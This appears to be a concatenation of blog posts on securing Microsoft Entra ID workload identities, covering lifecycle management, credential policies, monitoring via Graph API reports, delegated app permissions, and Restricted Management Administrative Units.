Results can be exported as HTML (with visualization) but also as JSON and CSV export. Julian is also providing pre-configured pipeline files for Azure DevOps and GitHub which allows to export the report data to a repository automatically. The approach is similar what I have built with AADOps for Conditional Access.
Pull Request in AzADSPI to compare changes of Workload Identity since latest pipeline run. In this example, a sensitive API permission and a short term client secret has been assigned.
The tool provides an classification for API Permission with critical and medium sensitivity which can be also customized.
Side Note: Options to integrate such enriched data to your Microsoft Sentinel environment (for example to build advanced logic or correlation in analytics rules) will be one of the major topics in the next part of this blog post series. I’ve shown this approach in scenarios for enrichment of analytics rules and hunting in my community talks about Workload Identities in the recent years. Last year, I’ve started to work on an automation for classification of privileged access based on Microsoft’s Enterprise Access Model. This feature will be part of my “AADOps” PoC project and covers all major RBAC systems in Microsoft Cloud (Azure, Entra ID, Intune, Graph API, Identity Governance) across all types of identities (including workload identities). But this is topic for another community talks and blog posts in the near future.
Tip: There’s is also a tool by Joosua Santasalo which gives you comprehensive insights to your application and workload identities with option to ingest the data to Log Analytics.
In the following section, I would like to evoke simply the keypoints (including a short description) what should be considered in lifecycle management from my point of view.
Overview on tasks during the lifecycle phases of application objects (as an example)
Choose multi-tenant only if acceptable and consider limited security control with Conditional Access and User Assignment requirements. Those settings will be applied in the tenant of the Service Principal instance. Policies from the „home“ tenant of the app registration will not apply to users in other („resource“) tenants. In addition, you will have no sign-in events from those users.
Tip: Merill Fernando has written a great blog post about “Entra ID multi- vs. single tenant app” which I can strongly recommended to read.
notificationEmailAddresses
in the Service Principal object if you are implementing a SAML token-based application and you want deliver notification for certificate expiration.serviceManagementReference
if you can build a link between application and service or asset by using a management ID (information will be visible for other users).Classify policy requirements for user access to the application as custom security attribute. This could include attributes related to the target audience of the app or the policy requirements to access the application:
The assignment of the custom security attribute allows you to use the classification in the App Filter for Conditional Access Targeting:
Require trusted device and block access from BYOD to all classified sensitive business apps (based on classification in custom security attribute)
Classify application permissions of the Service Principal (e.g. sensitive Graph API Permissions) to protect them by Conditional Access for Workload Identities. I’ve started to create a classification definition for Microsoft Graph API based on the Enterprise Access Model which will be applied by an automation (as part of my PoC project “EntraOps”):
Workbook of EntraOps Privileged EAM helps to identify highly sensitive workload identities and their privileges in Azure, Entra and to Resource Apps. API permission to “User.ReadWrite.All” will be classified to “Control plane” (Tier 0) because of the wide range of permissions to modify user accounts. The identified sensitive service principals needs to be protected and monitored particularly.
Custom security attributes will be used to “label” classification and target them in policy (for example, all control plane access should be blocked if Identity Protection has detected a high risk of the workload identity.
Require user assignment for sensitive or restricted applications to the target end-user audience. This setting is also important if an application identity has sensitive delegated permission and you want to manage the scope of users.
Groups can be used to assign permissions to get access to those apps or APIs. In addition, Identity Governance offers an effective way to request, manage and review user access to applications.
Access to Graph Explorer and Microsoft Graph PowerShell is restricted and will be granted with access package for privileged role assignments
Use a custom security attribute or notes
attribute to store information about service owner or application developer. I would prefer to choose a custom security attribute to keep the relation private to avoid discovery and reconnaissance by attackers.
Other entity relations should be also stored in custom security attributes which could be later used in Microsoft Sentinel (WatchLists) for building correlations in analytics rules, hunting queries or scoping „Conditional Access for Workload Identities“. For example: Details about hosting or running the workload (pipeline name, environment or relation other cloud resources/accounts) and classification of permissions (according to own-defined sensitivity levels or tiering model):
A service principal which will be used in Azure Pipelines for sensitive operations (in this case, Entra ID automation) offers information about the classification and details on the associated pipelines in the custom security attributes.
Client Secret (only if other credential types are not supported): Use KeyVault to transfer and provide secret to the workload. Avoid long lifetimes by implementing a process and way to rotate the secrets regularly. Configure a secret expiration date to take advantage of notification trigger.
There are some great blog posts by the community about client secret rotation. Check out the following articles and samples:
Side Note: Applications can also roll their own existing keys. More details about how to implement it and the usage of Application.ReadWrite.OwnedBy
is very well described in a the blog post “Using Application.ReadWrite.OwnedBy and addKey methods for Graph API” by Joosua Santasalo.
App Instance Property Lock
Microsoft allows to lock properties of the “Service Principal” object for Multi-Tenant Apps. This prevents admins or owners of the object in the Resource Tenant from adding credentials and impersonate the application identity. This feature is in preview and well documented in Microsoft Learn.
App Instance property lock can be configured in the “Authentication” blade of the App Registration
Client Secret and Certificate management operations can be restricted for Application and Service Principals by using App Management Policies. This feature can be only configured by using Microsoft Graph and is limited to tenants with assigned Workload Identity Premium licenses.
A tenant-wide policy (tenantAppManagementPolicy
) can be created which applies to all apps and service principals. It’s possible to define a policy which blocks new password credentials beginning from a specific date. The properties of the policy object and schema are described in the related resource type docs.
{
"isEnabled": true,
"applicationRestrictions": {
"passwordCredentials": [
{
"restrictionType": "passwordLifetime",
"maxLifetime": "P90D",
"restrictForAppsCreatedAfterDateTime": "2023-08-01T10:00:00Z"
},
{
"restrictionType": "symmetricKeyAddition",
"maxLifetime": null,
"restrictForAppsCreatedAfterDateTime": "2023-08-01T10:00:00Z"
},
{
"restrictionType": "customPasswordAddition",
"maxLifetime": null,
"restrictForAppsCreatedAfterDateTime": "2023-08-01T10:00:00Z"
},
{
"restrictionType": "symmetricKeyLifetime",
"maxLifetime": "P40D",
"restrictForAppsCreatedAfterDateTime": "2023-08-01T10:00:00Z"
}
],
"keyCredentials": [
{
"restrictionType": "asymmetricKeyLifetime",
"maxLifetime": "P365D",
"restrictForAppsCreatedAfterDateTime": "2023-08-01T10:00:00Z"
}
]
}
}
Application Management policies (appManagementPolicy
) can be created to have specific restrictions for certain application identities and can be linked to individual application or service principal objects. These policies will override the restrictions (by the tenant-wide policy) in scope of the linked object. Details on create, modify and link App Management policies are also described in the Microsoft Graph Docs.
Side Note: Vasil Michev has published a great blog post about this topic with the title “Entra ID App Management Method Policies Harden Application Security Posture” on Practical365.com.
As far as I know, there are no options to restrict federated credentials on Application objects in Entra ID. But there is a solution if you are using user-assigned managed identities in combination with Federated Credentials. Azure Policies are the central policy engine at the level of Azure Resource Manager (ARM) as control and management plane. Uday Hegde has written an excellent blog post how to create and apply a policy to restrict federation with an approved set of issuers.
There are a couple of sources and signals in Microsoft Entra products but also governance capabilities in Microsoft 365 Defender which should be included in the operational monitoring.
The following checks are included in the recommendations blade and are available in Entra ID P2 tenants:
You’ll find the overview of recommendations in the Entra ID portal and as deep link in the “Workload Identities” blade from the Microsoft Entra portal:
Overview of Workload Identities in the Microsoft Entra portal
Recommendations covers a few checks for app registrations/service principals including unused permissions and credentials.
Details on impacted resources and remediation steps are available for every recommendation. Status will be automatically updated if the application or service principals have been modified according to the action plan. You can also change the status manually (active, dismissed or postponed).
All recommendations can be listed and updated (incl. status and owner) by Microsoft Graph API. This allows you to implement the insights to your existing operational monitoring or dashboard solution.
Using a filter on ImpactType
give us the option to get only findings regarding resource types “Applications” which also includes Service Principals:
https://graph.microsoft.com/beta/directory/recommendations?$filter=impactType eq 'apps'
Programmatically access to the recommendation by using Microsoft Graph API by using Graph Explorer
As you can see in the previous screenshot, the impacted resources are missing. Another API call allows to get a list of the related entities. But you need to include the full ID of the recommendation, including the specific “Tenant Id” and “Resource Name” of the recommendation:
https://graph.microsoft.com/beta/directory/recommendations/<TenantId>_Microsoft.Identity.IAM.Insights.ApplicationCredentialExpiry/impactedResources
Details on the impacted resource (service principal or application) from the recommendation.
Entra ID provides integrated activity reports in the “Usage & Insights” blade. Furthermore, the results of these reports are also accessible from Microsoft Graph API and can be integrated in your monitoring solution. The following activity reports are particularly related to workload identities.
Service principal sign-in activity
Last sign-ins (with Time Stamp and Request Id) from app-only (application permissions) or user access (delegated permissions) will be covered in the report. lastSignInRequestId
can be used for searching the related user or service principal sign-in in the Entra ID sign-logs.
https://graph.microsoft.com/beta/reports/servicePrincipalSignInActivities
Entra ID application activity
This report shows a summary of all users’ sign-in attempts to an application including error codes.
Report displays the error description of the sign-in failures and counts and timeline of all user sign-ins
The API endpoint “applicationSignInSummary” allows to get a summary with counts on successful/failed sign-ins and success percentage filtered by a pre-defined period of time.
https://graph.microsoft.com/beta/reports/getAzureADApplicationSignInSummary(period='D7')
Summary of application sign-in report within the last 30 days (maximum time range).
Another API call to “applicationSignInDetailedSummary” is needed if you are interested to get all details about the sign-in counts and failures:
https://graph.microsoft.com/beta/reports/applicationSignInDetailedSummary
The response shows the single records of the report which will be aggregated regularly and includes additional details about the failureReason
.
Application credential activity
Monitoring to expiring of client secrets and certificates is one of the essential operational tasks during the maintenance phase of application and workload identities. The following reports give a detailed overview of expiring credentials.
The Portal UI allows you to filter for the expiration time window, certificate types and recent sign-in activities. This feature is in preview and I’ve running into some issues with outdated data and filter.
All details of the report can be also listed by using the following Graph API call:
https://graph.microsoft.com/beta/reports/appCredentialSignInActivities
Credential activity report covers not only expiration of specific credentials, but it’s also shows the latest sign-in activity. Unfortunately, there are some issues with the quality of data, as you can see in the screenshot (example: lastSignInDateTime
)
Sign-in of users (SigninLogs
and NonInteractiveUserSignInLogs
) but also service principals (ServicePrincipalSignInLogs
) are covered by Entra ID and can be forwarded to a Log Analytics or Microsoft Sentinel workspace by using Diagnostic settings.
The following examples should give you an overview about the capabilities and options to use this data to visualize insights about your integrated apps.
App sign-in health
This is an integrated workbook from the Entra ID monitoring blade and visualizes the numbers of successful sign-ins and failures (like previous described Usage & Insights report “Application Activity”). But it offers longer time ranges (based on your workspace data retention), customized views and an overall status.
Tip: Error Codes will be only displayed in some scenarios of troubleshooting sign-in issues. Check out the references of AADSTS error codes but also the integrated lookup tool for resolving the code numbers.
I’ve built a KQL query which is parsing the information about the implemented Authentication Library from the AADServicePrincipalSignInLogs
sign-in logs.
This should help to identify outdated versions from Microsoft Authentication Library (MSAL) or legacy libraries (e.g., ADAL):
In my opinion, you should use the latest version to avoid security vulnerabilities, known issues with core features (such as token caching) and missing features (e.g., support for CAE). The query can be also used for visualization as you can see in the following sample:
Side Note: Recently, Microsoft has announced a check in “Entra ID Recommendation” for identifying ADAL Applications. Keep this in mind, if you are looking for implementations of this deprecated Authentication Library.
Continuous access evaluation (CAE) is also available for workload identities. But how to detect which non-human identity or session is using a CAE-capable token?
You can get insights about this one in the Entra ID sign-in blade by filtering on “Is CAE token” and check the “Additional Details” tab:
Unfortunately, the details if CAE token has been issued are not available in the Diagnostic Logs of AADServicePrincipalSignInLogs
yet.
Microsoft has been released “App Governance” as add-on feature for “Microsoft Cloud App Security” (now called “Microsoft Defender for Cloud Apps”) in Summer 2021. An additional licensing was required but this will be change for Microsoft 365 E5 and E5 Security customers on June 1st, 2023. The feature will be available as opt-in at no additional costs.
This tool gives you an comprehensive overview and insights about your applications in different areas (data and permission usage, access to sensitive data or delegated access by sensitive accounts).
“App Governance” is fully integrated to “Microsoft 365 Defender” portal and shows many compliance & security related insights.
Summary of applications gives you an overview about certification and publisher verification which should be important to review for multi-tenant and SaaS applications. But also, deep links to related “Entra ID recommendations” have been integrated.
Policy templates but also custom policies can be configured for monitoring and detection of different scenarios. Alerts for “unused apps”, “unused credentials” or “expiring credentials” are available as well. So, there are some overlapping features between Entra ID recommendations and App Governance. Therefore, app hygiene features will be only available in MDA for customers with Entra Workload ID Premium license.
Alert integration to Microsoft 365 Defender/Microsoft Sentinel, custom app scope and automated response (disable app) could be one of the reason to prefer the features in App Governance over Entra ID recommendations. More details about App hygiene policies are available from Microsoft Learn.
Statistics about data usage of an app to OneDrive (via Microsoft Graph API) and overview about users which has been defined as priority/sensitive account.
More policies and capabilities for detecting anomalous activities are available which will be described in the next part of the blog post about “Monitoring and Security of Entra ID Workload Identities”.
Regular review of assigned permissions should be considered for workload identities. App Governance has a strong focus on permissions to API Permissions. But also, other privileges to RBAC assignments (such as Entra ID roles or Azure RBAC) and even Groups should be included in the access review.
MDA App Governance for Microsoft Graph API Permissions
App Governance gives you the option to analyze the usage of Graph API Permissions for Exchange Online, SharePoint, OneDrive and Teams in the recent 90 days. This can be also integrated as a policy to trigger an alert but also for correlation to other built-in threat detections (”Increase in data usage by an overprivileged or highly privileged app”).
Overview of Assigned Permissions to Exchange Online (Mail.ReadWrite) and User.Read (Entra ID). “In Use” can be only analyzed for certain endpoints of Microsoft 365 services.
Side Note: Microsoft seems to be working on a new data source in Entra ID logs to get insights about Microsoft Graph Activities. There are some reports about the private preview on Twitter. The log schema is already available in Microsoft Learn and gives some interesting impressions which information will be covered. In my opinion, this would also allow to provide detections in Microsoft Sentinel for unused/over-privileged API permissions but detecting abuse and exfiltration of data from/to Graph.
Entra Permissions Management (EPM) for Multi-Cloud Permissions
Over-privileged permissions in cloud infrastructure environments can be analyzed with Entra Permissions Management (EPM). Currently, Google Cloud Platform (GCP), Amazon Web Services (AWS) and Azure are supported. A score of unused or excessive permissions will be calculated with the option to create a custom role assignment based on the used and required permissions.
Example: Microsoft Sentinel Playbook is running with a system-assigned managed identity which has comprehensive permissions as part of the role assignment to “Microsoft Sentinel Contributor”. But only one role action (“incidents/comments/write”) will be used from the role definition set of over 700 actions. Reducing the set of assigned permissions can be achieved by the remediation features in EPM and supports you to follow the approach of least privileges.
I can strongly recommend evaluating EPM in your environment by using the free trial version. There’s also a comprehensive “Trial user guide” which supports you to explore all the features to analyze least privilege in your multi-cloud environment.
Access Review for Entra ID roles and Azure resource assignments
Identity Governance supports access review for service principal role assignments in Entra ID or Azure Resources. This feature has been already introduced in June 2021 and requires “Workload Identity Premium License” in addition to Entra ID Premium P2.
Configuration of Access Review for Service Principals for high-privileged directory roles.
Automated actions can be configured in case the reviewer doesn’t respond to confirm the need of the required permissions.
Reviewer will be notified about the access review and needs to approve or deny the continuing validity of the requirements to use this directory or RBAC role assignment. There seems to be no support for “recommended actions” which gives insights about the current usage. A deep link to the recent activities as part of the Azure (AD) Audit Logs is available from the review page.
Privileged Identity Management (PIM) gives you a total number of directory role assignments. Unfortunately, assignments on Administrative Unit- or Object-Level have not been recognized in my test environment.
Entra ID offers an option to recover supported objects within a 30-day time window. Those objects will not be permanently deleted and remains in a suspended state for this time period. App Registrations are one of these supported objects which can be restored when they have been removed recently. Managed Identities are a special type of service principals and are not covered. Some of the configurations can not be recovered from the Portal UI or not included in the recovery process yet. Check the deletion and recovery FAQ for more details.
You’ll find the options to delete an application permanently or recover the object by clicking on the “Deleted application” tab on the “App Registration” blade.
Application Identity (with Key or Certificate) | Application Identity (with Federated Credential) | Managed Identity (System-Assigned) | Managed Identity (User-Assigned) | |
---|---|---|---|---|
Use Cases | No limitations | Limited, support workload and/or IdP required | Limited, support, workload must be a Azure-Managed resource | Limited, support, workload must be a Azure-Managed resource or federated credential |
Security Boundary | Single- or Multi-Tenant | Single- or Multi-Tenant | Single Tenant, limited Multi-Tenant access* | Single-Tenant, limited Multi-Tenant access* |
Recovery Options | Soft Deletion | Soft Deletion | N/A | N/A |
Lifecycle Management | Managed by admin or automated process | Managed by admin or automated process | Managed by Azure | Standalone Azure resource (managed by admin or automated process) |
Recovery Options | Soft Deletion | Soft Deletion | N/A | N/A |
Token Lifetime / Cache | 1h (Default), 24h (CAE) | less than or equal to 1h | up to 24h | up to 24h |
Delegation and Ownership | Application/Enterprise App Owner Entra ID Role (Directory, Object) | Application/Enterprise App Owner, Entra ID Role (Directory, Object) | Enterprise App Owner, Entra ID Role, Azure RBAC Role/Resource Owner | Enterprise App Owner, Entra ID Role, Azure RBAC Role/Resource Owner |
Recovery Options | Soft Deletion | Soft Deletion | N/A | N/A |
I’ve already mentioned some Microsoft Security but also community tools for monitoring in this article. In the next part of the blog post series we will go into details about using the capabilities of this solutions for detection and response of workload identities.
]]>Microsoft has introduced “Workload Identities” as overriding notion for non-human identities but also as “new product” as part of Microsoft Entra. The product name has been renamed from “Azure AD Workload Identities” to “Microsoft Entra Workload ID” in early July 2023. The premium licenses covers some features which has been available as public preview before (such as Conditional Access support for Service Principals). I will shown some use cases for the capabilities of Microsoft Entra Workload ID in the next part of this blog series.
Workload Identity Premium features in the Microsoft Entra Portal. You’ll find a overview about the features and capabilities which are included in Microsoft Entra Workload ID Premium and which ones are free at the Microsoft Entra Workload ID FAQ page.
Provisioning and general usage of Service Principals are still free in Microsoft Entra ID (formely known as Azure AD), only certain new capabilities are part of the new “premium plan” for Workload ID.
An overview about the definition of workload identities is well documented in the Microsoft Learn article “What are workload identities?”.
The following common use cases should provide some examples of the terminology and different types of workload identities in Microsoft Entra ID:
Delegated API Permissions allows the application to get access on behalf of the signed-in user. This will be mostly used for interactive sessions and limited to the scope of the specific user.
Example: Application accessing Microsoft Graph API with scoped and delegated token of the user
Application API Permissions enables the application to access a resource without signed-in user and will be typically used for background or automation workflows.
Example: Application accessing Microsoft Graph API with permissions assigned to the Application object.
Authorization to other APIs or roles can be granted with assigning the service principal to the target RBAC system (e.g., Azure RBAC for managing resources, Entra ID admin roles for scoped permissions on directory objects).
Managed Identities is a recommended way for integration of workloads running in Azure or Azure Arc-connected environments (including GCP, AWS and on-premises infrastructure). This identity can be assigned to a particular Azure-managed resource and will be bounded to the lifecycle of this object (”System-assigned”). A standalone identity can be also created which allows to use them by multiple resource (”User-assigned”). Furthermore, you can also use a “Workload Identity Federation” to integrate workloads from other platforms by establishing a trust to an external Open ID Connect issuer / Identity Provider (IdP) (such as GitHub Actions, Google Cloud). In general, there’s no need to manage credentials for those workloads because of taking benefit of Azure as Management Plane to auto-manage credentials or establishing federation to a trusted IdP. This feature is also available for “Application Identities” and eliminates the requirement for managing credentials as well.
Application API Permissions and also authorization as part of RBAC assignments can be granted to Managed Identities. As far as I know, calls on using delegated permissions are not applicable. The management of API permissions is restricted to Graph API (no support in Portal UI).
Example: Managed Identity has been assigned or federated to a workload. Assignment to an Azure RBAC role exists allows to call the Azure Resource Manager API for deployment of resources.
Side Note: Managed Identities are out of scope for this article but I’m already planning a dedicated article about the advantages and considerations in using Managed Identities.
The following summary table gives you a quick overview about the different types of workload identities
Type | Application Identity (with Key or Certificate) | Application Identity (with Federated Credential) | Managed Identity (System-Assigned) | Managed Identity (User-Assigned) |
---|---|---|---|---|
Use Cases | No limitations | Limited, support workload and/or IdP required | Limited, support, workload must be a Azure-Managed resource | Limited, support, workload must be a Azure-Managed resource or federated credential |
Security Boundary | Single- or Multi-Tenant | Single- or Multi-Tenant | Single Tenant, limited Multi-Tenant access* | Single-Tenant, limited Multi-Tenant access* |
Relation to workload | No relation or allocation to workload or resource | Relation to Issuer/Entity of the federated provider | Allocation to resource 1:1 | Allocation to resource N:1 |
Lifecycle Management | Managed by admin or automated process | Managed by admin or automated process | Managed by Azure | Standalone Azure resource (managed by admin or automated process) |
Secret Management | Key or Certificate Renewal required | No particular secret rotation required | Managed by Azure | Managed by Azure |
Token Lifetime / Cache | 1h (Default), 24h (CAE) | less than or equal to 1h | up to 24h | up to 24h |
*Single Tenant Application only, but access can be granted to Azure RBAC and resources in other tenants via Azure Lighthouse
Microsoft has shared some interesting statistics at the “2023 State of Cloud Permissions Risks Report”. This includes also the ratio between user and workload identities but also the numbers of stale identities:
Summary of related statics about workload identities. Source: Microsoft “2023 State of Cloud Permissions Risks Report”
It shows an incredible number of non-human identities which will certainly used for automation with sensitive access to IT assets (e.g., provisioning of Azure resources, Microsoft Sentinel SOAR, automation for IAM workflows).
But on the other side, most organization are still facing challenges in managing a Workload ID compared to user accounts. The following risks are (in my opinion) widely present:
Application object has been created in the “App Registration” blade and defines the API permissions, credentials and general properties (incl. authentication settings). An instance of the application has been created based on the Application object and will be represented by the Service Principal. It exists in the local directory (”home tenant”) where the application was registered but also in other tenants (”resource tenant”) in case of multi-tenant application. This object will be used for assigning memberships to Entra ID groups but also role assignments in other RBAC systems.
A service principal can be modified in the resource tenant and issued with different credential than the application objects in the home tenant.
Owners can be assigned to the Application and Service Principal objects which delegates to user full control for managing the properties and credentials.
Application (Client) ID represents the “login name” of a workload identity and is shared between object types. A shared secret, a signed JWT token (from the private key of a certificate) or a token (from a federated identity) is required to request a token from the Entra ID endpoint. Implementation of Microsoft Authentication Libraries allows easy code integration for handling token request, validation (of signature) and renewal.
Managed Identities exists as Resource in Azure but also as Service Principal in the associated Entra ID Tenant. There’s no (visible) Application object for Managed Identities. Certificates as credentials are created and maintained by Microsoft on the Service Principal-Object. Assignments to API Permissions needs to be configured on this object type as well. The name of the Enterprise App (Service Principal) is equal to the related Azure Resource Name.
Certificates of Managed Identities have an expiration of 90 days and will be rolled after 45 days by Azure. More details on limitations and technical backgrounds are described in the FAQ section on Microsoft Learn.*
But just who can read and create the related workload identity objects in a tenant? Let’s have a closer look to the default permissions for Entra ID users.
By design, all members have the default permission to read properties of the Application and Service Principal objects, including their granted permissions. But the enumeration of all objects is available for members only. External users will get also the permission to list all application when one of the following conditions met:
Assignment of built-in (e.g., “Directory Readers”) or custom Entra ID role (with permission to read properties of the objects) to allow browsing all objects in the tenant.
Example of “Custom Entra ID role” which allows every assigned member to read properties of related Application Identities object. Role members are able to access Azure or Entra portal when user access is restricted.*
Default User Role Permission
By default, members are able to register applications and create an Application object in the tenant. In addition, the creator becomes owner of the application object when using the Azure (AD) or Microsoft Entra Portal.
However, the users’ default permissions can be restricted and should be disabled in my opinion. Otherwise, you will allow the provisioning and management of workload identities by any member account.
Disable default permission to register application should be disabled and particular delegated to developer accounts or integrated to a managed workload identity lifecycle.
This setting is named allowedToCreateApps
and will be defined in the authorizationPolicy
which can be also managed in Microsoft Graph API:
**Authorization Policy allows to restrict a few default member permissions.**
As you can see, another entry of the authorizationPolicy
been marked in the screenshot.
An app consent policy will be defined for members to govern the permissions for user consent.
The value permissionGrantPoliciesAssigned
is shown the “Policy Id” of a built-in (begins with “microsoft-”) or a custom policy. The default setting will be also shown in the Portal UI:
Consent and permissions can be configured in the Azure portal but without advanced options (such as assigning a custom policy).
Side Note: Configuration of User and Admin Consent Permissions (incl. Policy Framework) is an essential and huge topic for identity security. If you are interested in to learn more about the attack scenarios and security configuration, check out the Azure AD Attack & Defense playbook about “Consent Grant”.
Permission to register application can be delegated by assigning “Application Developer” role.
Built-in role “Application Developer” allows members to create application identities even the default user permission has been restricted
Every created application by this role members will assign “Owner” permissions (by default) to the creator. In this way, the creator has full management permission on this object with a permanent and user-based assignment. External users can be also assigned as “Owner” but needs to have “Directory Reader” or “Member” type permission to take advantage of the permissions.
There are a couple of reasons why ownership has some disadvantages and new/existing assignment should be avoided:
Ownership includes permission to issue credentials and modify Redirect URI which is in particular interest of attackers to gain persistence access (and create “backdoors”) or stealing tokens with delegated permissions (by manipulation of replay URL). Microsoft has also given some note in the article about “Overview of enterprise application ownership in Microsoft Entra ID”.
The application may have more permissions than the owner, and thus would be an elevation of privilege over what the owner has access to as a user. An application owner can create or update users or other objects while impersonating the application. The elevation of privilege to owners can raise a security concern in some cases depending on the application’s permissions.
Built-in roles “Application Administrator” and “Cloud Application Administrator” allows to manage application and service principal object in the tenant. This affects all Application and Service Principal objects, except App Proxy for the particular role of “Cloud Application Administrator”.
This allows assigned members to takeover any provisioned non-human identities in your tenant and their assigned permissions. Therefore, this is a high-sensitive role assignment and should be considered as “Tier0” (Control Plane) administrators.
In addition, members of this Entra ID admin role are assigned to the consent policy “ microsoft-application-admin
” which allows to grant tenant-wide admin consent on specific conditions.
But there’s also some other built-in roles which allows manage Application Identity objects, this includes the following roles:
Side Note: The previous named directory roles are mostly out of scope by strong Conditional Access Policies. For example: Hybrid Identity Admin will be used on AAD Connector and excluded from Device Compliance. Therefore you should monitor activities from those role members particular.
Monitor all Entra ID admin roles and assignments which includes (for example) the following permissions:
As already described, previous roles have sensitive permissions which should avoided to be granted on directory-level. It’s possible to assign the “Cloud Application Administrator” role on object-level of the application and service principal:
Role assignment of “Cloud Application Administrator” allows to select scope on object-level
This gives you also the opportunity to replace owner permission with object-level permissions to the Entra ID role. This includes all benefits of using Entra ID roles, such as eligible membership (managed by PIM) or group-based assignment.
Eligible Assignment of “Cloud Application Administrator” on scope of app registration “b2xapp”.
Microsoft has integrated many permissions related to Application and Service Principals objects to Entra ID Custom Roles. This allows us to create a custom role on specific permissions and follow the least-privilege approach. In addition, the custom role can be also assigned to all directory- and object-level.
Delegation of specific tasks can be achieved by custom roles (e.g., creating role permission set to managed application properties without updating credentials).
The previous descriptions are mostly in relation to Application Identities in Entra ID. But who can create an managed identity in Azure?
Every “Contributor” or resource-specific Contributor role (such as Virtual Machine Contributor) are allowed to enable system-assigned identity for the related resources. There are no specific Entra ID permissions needed to provision a system-enabled managed identity.
Example: Enable managed identity for a Virtual Machine needs only a role action as Microsoft.Compute/virtualMachines/write
which is included in the role definition of “Virtual Machine Contributor”.
There are two specific roles for managing user-assigned identities:
Both roles have the permission to assign a managed identity to another resource. The related Resource Provider and Action namespace is named Microsoft.ManagedIdentity
and can be also used for creating custom Azure RBAC roles. Other roles with a wildcard on the action scope (such as Owner and Contributor) has also the permissions to modify and assign user-assigned identities.
In the second part of the blog post series, I will describe some aspects which could be included in your strategy to implement a lifecycle monitoring. There are also solutions by Microsoft and the community which helps you to monitor your workload identities. The focus will be set on application identities because of the missing relation to a workload and credential management.
]]>Protection of privileged users and groups outside of Azure AD roles needs particular care to prevent privileged escalation because those objects are not protected by default in Azure AD. For example, service-specific Azure AD roles (e.g. Intune or Windows 365 Administrator) has been able to modify security groups with assigned privileges in Azure RBAC or any other non-Azure AD RBAC.
In this blog post I like to describe and explain the new option for “Restricted Management Administrative Units” (RMAUs) which allows to restrict management of assigned objects from Azure AD role members on tenant-level. Permissions on assigned resources in the RMAU will be restricted to the administrators scoped on the level of an Administrative Unit (AU). A focus will be also set to automated management of RMAUs via Microsoft Graph API. In addition, I will explain use cases and why this feature becomes an important part to implement a tiered administration model (“Enterprise Access Model”) but also which scenarios are unsupported.
Azure Active Directory has a flat hierarchy by default. In the past, Administrative Units already allowed to scope some directory roles on “Administrative Units” instead of the “Directory” (tenant-level) scope. Nevertheless, Azure AD role assignment on tenant-level has been inherited to all objects in AUs.
In the past, privileged users and groups have been protected (by default) as far they are assigned to an Azure AD admin role or role-assignable group. Furthermore, the management to those group members has been restricted to “Global Admin” and “Privileged Authentication Administrator” during a permanent or active assignment (in case of using Azure PIM for Groups) to role-assignable groups. But also permissions to manage groups and memberships have been restricted to “Global Admins”, “Privileged Role Administrator” and Group Owners.
Overview of restricted management on users and groups to “Global and Privileged Authentication Administrators” by using different group types and PIM features in Azure AD.
Side Note: A limit of 500 role-assignable groups exist on tenant-level and management of protected users can not delegated to custom or scoped Azure AD admin roles. Therefore, it makes sense to use this group type for certain scenarios only. From my point of view, protection of users and groups by RMAU is also interesting to avoid reaching this limit.
Protecting users and groups on “Management and Data/Workload plane” (outside of Azure AD directory roles) has been a challenge in the past. Members with assigned Microsoft 365 service-specific directory roles (such as Intune, Knowledge or Windows 365 administrators) has been able to modify security group objects on tenant-level. These permission needs to be restricted to avoid privileged escalation. For example, gaining access to Azure resources by modifying Azure RBAC-assigned security groups
Security group will be mostly used on “Management and Workload/Data plane” (such as Azure DevOps, Azure resources or Microsoft 365 RBAC systems). This includes the risk of manipulation by privileged identities with “Group Management” permissions. Helpdesk, User Administrators or other similar roles has been able to “take over” accounts with privileges outside of Azure AD. Limitation on fine-grained scoping or custom directory roles has been a “blocker” to avoid privilege escalation paths in the past.
Restricted Management Administrative Units (RMAU) allows to restrict management of assigned users and groups by Azure AD role assignments on “Directory” scope. For example, “User Administrators” will not be able to change password of RMAU assigned accounts (for example, CEO, Developers) by default. An administrator with assigned “Group Administrator” role can be prevented from changing membership of security groups if they are assigned to a RMAU.
In summary, you need an explicitly assigned permission to modify objects which are assigned to an RMAU. Keep in mind, this means that additional assigned directory roles with scope on RMAU-level are needed if management permissions by specific workflows and administrators shall be maintained.
Restricted AUs block inheritance of Azure AD roles on directory roles, particular role assignments on AU level is needed to manage assigned objects. Keep in mind, only a limited set of built-in roles are supported for RMAU-level role assignments. Custom roles are supported and gives you advanced capabilities for limit permission set on least privilege principle.
Supported object types for Restricted AUs are users, security groups and devices. Unfortunately, security groups which are managed in Azure AD PIM (“PIM for Groups”) as well as mail-enabled and Microsoft 365 Groups aren’t not supported.
An overview about the supported objects types are documented in Microsoft Learn.
RMAUs do not cover an restriction to manage those objects as group members outside of the restricted management. This includes also protection for RMAU-assigned objects outside of the Azure AD management (e.g., device objects in Intune or mailbox settings in Exchange). Keep this in mind for other scenarios, e.g. protecting devices from assignments to device policies in Intune. A full overview of supported operations are listed in Microsoft Learn.
By default, inherited permissions of (tenant-level) directory roles will no longer been applied to users, devices and groups in RMAUs. This includes also “Global Administrator” (GA), “Privileged Role Administrator” (PRA) and “Privileged Authentication Administrator” (PAA). Delegation to manage objects in RMAUs can be achieved by using respective roles on the scope of the specific Administrative Unit. Nevertheless, Global and Privileged Role Administrators can modify role assignments with scope on RMAUs. So, they’re able to grant self-assigned permissions to RMAUs.
By design, Global Admins are blocked from managing objects which have been assigned to RMAU. An assignment as “User Administrator” in scope of the certain RMAU is needed to manage objects from a RMAU.
Important note: There’s a conflict for managing objects which are assigned to RMAU but also protected by Azure AD privileged assignments (such as active assignment to role-assignable groups or active/eligible assignment to Azure AD admin roles). Those objects are already restricted to be managed by GA and PRA only. If you add those objects to an RMAU, the inheritance will be disable and there’s no option to assign GA or PRA role particular on RMAU-Level. Therefore, make sure that protected objects by Azure AD roles and role-assignable groups will not be also protected by RMAU. Otherwise, you have no option to manage them until the RMAU assignment will be removed.
Delegation to manage role-assignable groups as permanent or eligible “Owner” will be restricted when the groups are member of a RMAU. Assigning RMAU-scoped permissions as “Group Administrators” will also not allow to manage this group. As already mentioned in the side note and described in the previous table, this type of objects will be already protected by another built-in protection layer in Azure AD. You should consider managing these objects outside of RMAU and ask yourself if additional protection by RMAU is really needed.
Microsoft has documented this behavior as limitation of RMAUs.
Delegation to manage security groups by any tenant-level Azure AD admin role but also as permanent or eligible “Owner” will be restricted when these objects are member of a RMAU. If you want to delegate management permissions to this group, assignment of “Group Administrators” needs to be scoped on RMAU. Nevertheless, “PIM for Groups” is not supported in combination with RMAU.
Service Principals with AdministrativeUnit.ReadWrite.All
